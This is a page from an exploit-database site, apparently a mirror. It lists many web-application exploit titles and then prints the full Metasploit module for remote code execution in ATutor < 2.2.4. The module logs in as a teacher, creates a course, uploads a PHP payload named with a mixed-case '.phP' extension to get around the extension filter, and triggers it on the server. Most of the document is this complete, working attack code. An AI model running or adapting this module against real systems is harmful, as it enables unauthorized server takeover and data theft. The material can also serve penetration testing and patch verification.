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"ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)"

Author

AkkuS

Platform

php

Release date

2019-04-12

Release Date Title Type Platform Author
2019-04-22 "UliCMS 2019.2 / 2019.1 - Multiple Cross-Site Scripting" webapps php "Kağan EĞLENCE"
2019-04-22 "Msvod 10 - Cross-Site Request Forgery (Change User Information)" webapps php ax8
2019-04-22 "74CMS 5.0.1 - Cross-Site Request Forgery (Add New Admin User)" webapps php ax8
2019-04-22 "WordPress Plugin Contact Form Builder 1.0.67 - Cross-Site Request Forgery / Local File Inclusion" webapps php "Panagiotis Vagenas"
2019-04-16 "Joomla Core 1.5.0 - 3.9.4 - Directory Traversal / Authenticated Arbitrary File Deletion" webapps php "Haboob Team"
2019-04-15 "DirectAdmin 1.561 - Multiple Vulnerabilities" webapps php InfinitumIT
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-10 "Dell KACE Systems Management Appliance (K1000) 6.4.120756 - Unauthenticated Remote Code Execution" webapps php "Julien Ahrens"
2019-04-09 "Ashop Shopping Cart Software - 'bannedcustomers.php?blacklistitemid' SQL Injection" webapps php "Doğukan Karaciğer"
2019-02-27 "PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write" remote php cfreal
2019-04-08 "WordPress Plugin Limit Login Attempts Reloaded 2.7.4 - Login Limit Bypass" webapps php isdampe
2019-04-08 "Tradebox CryptoCurrency - 'symbol' SQL Injection" webapps php "Abdullah Çelebi"
2019-04-08 "ShoreTel Connect ONSITE < 19.49.1500.0 - Multiple Vulnerabilities" webapps php Ramikan
2019-04-08 "Bolt CMS 3.6.6 - Cross-Site Request Forgery / Remote Code Execution" webapps php FelipeGaspar
2019-04-08 "Jobgator - 'experience' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-04-05 "WordPress Plugin Contact Form Maker 1.13.1 - Cross-Site Request Forgery" webapps php "Peyman Forouzan"
2019-04-05 "WordPress 5.0.0 - Crop-image Shell Upload (Metasploit)" remote php Metasploit
2019-04-04 "FreeSMS 2.1.2 - SQL Injection (Authentication Bypass)" webapps php "Yilmaz Degirmenci"
2019-04-03 "PhreeBooks ERP 5.2.3 - Arbitrary File Upload" webapps php "Abdullah Çelebi"
2019-04-03 "Ashop Shopping Cart Software - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-04-03 "Clinic Pro v4 - 'month' SQL Injection" webapps php "Abdullah Çelebi"
2019-04-03 "iScripts ReserveLogic - SQL Injection" webapps php "Ahmet Ümit BAYRAM"
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-04-02 "phpFileManager 1.7.8 - Local File Inclusion" webapps php "Murat Kalafatoglu"
2019-04-02 "Fiverr Clone Script 1.2.2 - SQL Injection / Cross-Site Scripting" webapps php "Mr Winst0n"
2019-04-02 "CMS Made Simple < 2.2.10 - SQL Injection" webapps php "Daniele Scanu"
2019-04-02 "LimeSurvey < 3.16 - Remote Code Execution" webapps php q3rv0
2019-04-02 "WordPress Plugin PayPal Checkout Payment Gateway 1.6.8 - Parameter Tampering" webapps php "Vikas Chaudhary"
2019-04-02 "Inout RealEstate - 'city' SQL Injection" webapps php "Ahmet Ümit BAYRAM"
Release Date Title Type Platform Author
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-18 "ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)" remote windows AkkuS
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-07 "QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)" remote hardware AkkuS
2019-03-04 "Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-01-24 "SirsiDynix e-Library 3.5.x - Cross-Site Scripting" webapps cgi AkkuS
2019-01-18 "Webmin 1.900 - Remote Command Execution (Metasploit)" remote cgi AkkuS
2019-01-10 "eBrigade ERP 4.5 - Arbitrary File Download" webapps php AkkuS
2019-01-02 "Vtiger CRM 7.1.0 - Remote Code Execution" webapps php AkkuS
2018-12-19 "Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)" webapps php AkkuS
2018-12-09 "i-doit CMDB 1.11.2 - Remote Code Execution" webapps php AkkuS
2018-12-04 "Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting" webapps php AkkuS
2018-12-03 "Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution" webapps php AkkuS
2018-11-21 "WebOfisi E-Ticaret V4 - 'urun' SQL Injection" webapps php AkkuS
2018-11-06 "OpenBiz Cubi Lite 3.0.8 - 'username' SQL Injection" webapps php AkkuS
2018-11-05 "PHP Proxy 3.0.3 - Local File Inclusion" webapps php AkkuS
2018-11-02 "qdPM 9.1 - 'filter_by' SQL Injection" webapps php AkkuS
2018-09-25 "Joomla! Component Responsive Portfolio 1.6.1 - 'filter_order_Dir' SQL Injection" webapps php AkkuS
2018-09-25 "Joomla Component eXtroForms 2.1.5 - 'filter_type_id' SQL Injection" webapps php AkkuS
2018-09-04 "PHP File Browser Script 1 - Directory Traversal" webapps php AkkuS
2018-09-04 "Logicspice FAQ Script 2.9.7 - Remote Code Execution" webapps php AkkuS
2018-09-03 "Online Quiz Maker 1.0 - 'catid' SQL Injection" webapps php AkkuS
2018-10-25 "ProjeQtOr Project Management Tool 7.2.5 - Remote Code Execution" webapps php AkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46691/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46691/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46691/41136/atutor-224-file_manager-remote-code-execution-metasploit/download/", "exploit_id": "46691", "exploit_description": "\"ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)\"", "exploit_date": "2019-04-12", "exploit_author": "AkkuS", "exploit_type": "webapps", "exploit_platform": "php", "exploit_port": null}
                                            

For full documentation follow the link above

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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ATutor < 2.2.4 'file_manager' Remote Code Execution",
      'Description'    => %q{
         This module allows the user to run commands on the server with teacher user privilege.
         The 'Upload files' section in the 'File Manager' field contains arbitrary file upload vulnerability.
         The "$IllegalExtensions" function has control weakness and shortcomings.
         It is possible to see illegal extensions within "constants.inc.php". (exe|asp|php|php3|php5|cgi|bat...)
         However, there is no case-sensitive control. Therefore, it is possible to bypass control with filenames such as ".phP", ".Php"
         It can also be used in dangerous extensions such as "shtml" and "phtml". 
         The directory path for the "content" folder is located at "config.inc.php".
         For the exploit to work, the "define ('AT_CONTENT_DIR', 'address')" content folder must be located in the web home directory or the address must be known.

         This exploit creates a course with the teacher user and loads the malicious php file into server.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & MSF Module
        ],
      'References'     =>
        [
          [ 'CVE', ''  ],
          [ 'URL', 'http://pentest.com.tr/exploits/ATutor-2-2-4-file-manager-Remote-Code-Execution-Injection-Metasploit.html' ],
          [ 'URL', 'https://atutor.github.io/' ],
          [ 'URL', 'http://www.atutor.ca/' ]
        ],
      'Privileged'     => false,
      'Payload'        =>
        {
          'DisableNops' => true,
        },
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        => [[ 'Automatic', { }]],
      'DisclosureDate' => '09 April 2019',
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
        OptString.new('USERNAME', [true, 'The Teacher Username to authenticate as']),
        OptString.new('PASSWORD', [true, 'The Teacher password to authenticate with']),
        OptString.new('CONTENT_DIR', [true, 'The content folder location', 'content'])
      ],self.class)
  end

  def exec_payload

    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}", @course_id, "#{@fn}")
    })
  end

  def peer
    "#{ssl ? 'https://' : 'http://' }#{rhost}:#{rport}"
  end

  def print_status(msg='')
    super("#{peer} - #{msg}")
  end

  def print_error(msg='')
    super("#{peer} - #{msg}")
  end

  def print_good(msg='')
    super("#{peer} - #{msg}")
  end
##
# Version and Vulnerability Check
##
  def check

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "#{datastore['CONTENT_DIR']}/")
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res.code == 404
       return Exploit::CheckCode::Safe
    end
    return Exploit::CheckCode::Appears
  end
##
# csrftoken read and create a new course
##
  def create_course(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php"),
      'headers' =>
      {
        'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
        'cookie'   => cookie,
      },
      'agent' => 'Mozilla'
    })

    if res && res.code == 200 && res.body =~ /Create Course: My Start Pag/
      @token = res.body.split('csrftoken"  value="')[1].split('"')[0]
    else
      return false
    end 

    @course_name = Rex::Text.rand_text_alpha_lower(5)
    post_data = Rex::MIME::Message.new
    post_data.add_part(@token, nil, nil,'form-data; name="csrftoken"')
    post_data.add_part('true', nil, nil, 'form-data; name="form_course"')
    post_data.add_part(@course_name, nil, nil, 'form-data; name="title"')
    post_data.add_part('top', nil, nil, 'form-data; name="content_packaging"')
    post_data.add_part('protected', nil, nil, 'form-data; name="access"')
    post_data.add_part('Save', nil, nil, 'form-data; name="submit"')
    data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "courses", "users", "create_course.php")     
    })

    location = res.redirection.to_s
    if res && res.code == 302 && location.include?('bounce.php?course')
      @course_id = location.split('course=')[1].split("&p")[0]
      return true
    else
      return false
    end
  end
##
# Upload malicious file // payload integration
##
  def upload_shell(cookie, check)

    res = send_request_cgi({
      'method'   => 'GET',
      'uri' => normalize_uri(target_uri.path, "bounce.php?course=" + @course_id),
      'headers' =>
      {
        'Referer' => "#{peer}#{datastore['TARGETURI']}users/index.php",
        'cookie'   => cookie,
      },
      'agent' => 'Mozilla'
    })

    ucookie = "ATutorID=#{$2};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*);/

    file_name = Rex::Text.rand_text_alpha_lower(8) + ".phP"
    @fn = "#{file_name}"
    post_data = Rex::MIME::Message.new
    post_data.add_part('10485760', nil, nil, 'form-data; name="MAX_FILE_SIZE"')
    post_data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"uploadedfile\"; filename=\"#{file_name}\"")
    post_data.add_part('Upload', nil, nil, 'form-data; name="submit"')
    post_data.add_part('', nil, nil, 'form-data; name="pathext"')

    data = post_data.to_s

    res = send_request_cgi({
      'method' => 'POST',    
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie' => ucookie,
      'uri' => normalize_uri(target_uri.path, "mods", "_core", "file_manager", "upload.php")     
    })

    if res && res.code == 302 && res.redirection.to_s.include?('index.php?pathext')
      print_status("Trying to upload #{file_name}")
      return true
    else
      print_status("Error occurred during uploading!")
      return false
    end
  end
##
# Password encryption with csrftoken
##
  def get_hashed_password(token, password, check)
    if check
      return Rex::Text.sha1(password + token)
    else
      return Rex::Text.sha1(Rex::Text.sha1(password) + token)
    end
  end
##
# User login operations
##
  def login(username, password, check)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'agent' => 'Mozilla',
    })

    token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
    cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
    if check
      password = get_hashed_password(token, password, true)
    else
      password = get_hashed_password(token, password, false)
    end

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => normalize_uri(target_uri.path, "login.php"),
      'vars_post' => {
        'form_password_hidden' => password,
        'form_login' => username,
        'submit' => 'Login'
      },
      'cookie' => cookie,
      'agent' => 'Mozilla'
    })
    cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/

    if res && res.code == 302
       if res.redirection.to_s.include?('bounce.php?course=0')
        res = send_request_cgi({
          'method'   => 'GET',
          'uri'      => normalize_uri(target_uri.path, res.redirection),
          'cookie' => cookie,
          'agent' => 'Mozilla'
        })
        cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
        if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
           res = send_request_cgi({
             'method'   => 'GET',
             'uri'      => normalize_uri(target_uri.path, res.redirection),
             'cookie' => cookie,
             'agent' => 'Mozilla'
           })
           cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
           return cookie
          end
       else res.redirection.to_s.include?('admin/index.php')
          fail_with(Failure::NoAccess, 'The account is the administrator. Please use a teacher account!')
          return cookie
       end
    end

    fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
    return nil
  end
##
# Exploit controls and information
##
  def exploit
    tcookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
    print_good("Logged in as #{datastore['USERNAME']}")

    if create_course(tcookie, true)
      print_status("CSRF Token : " + @token)
      print_status("Course Name : " + @course_name + " Course ID : " + @course_id)
      print_good("New course successfully created.")
    end

    if upload_shell(tcookie, true)
      print_good("Upload successfully.")
      print_status("Trying to exec payload...")
      exec_payload
    end
  end
end
##
# The end of the adventure (o_O) // AkkuS
##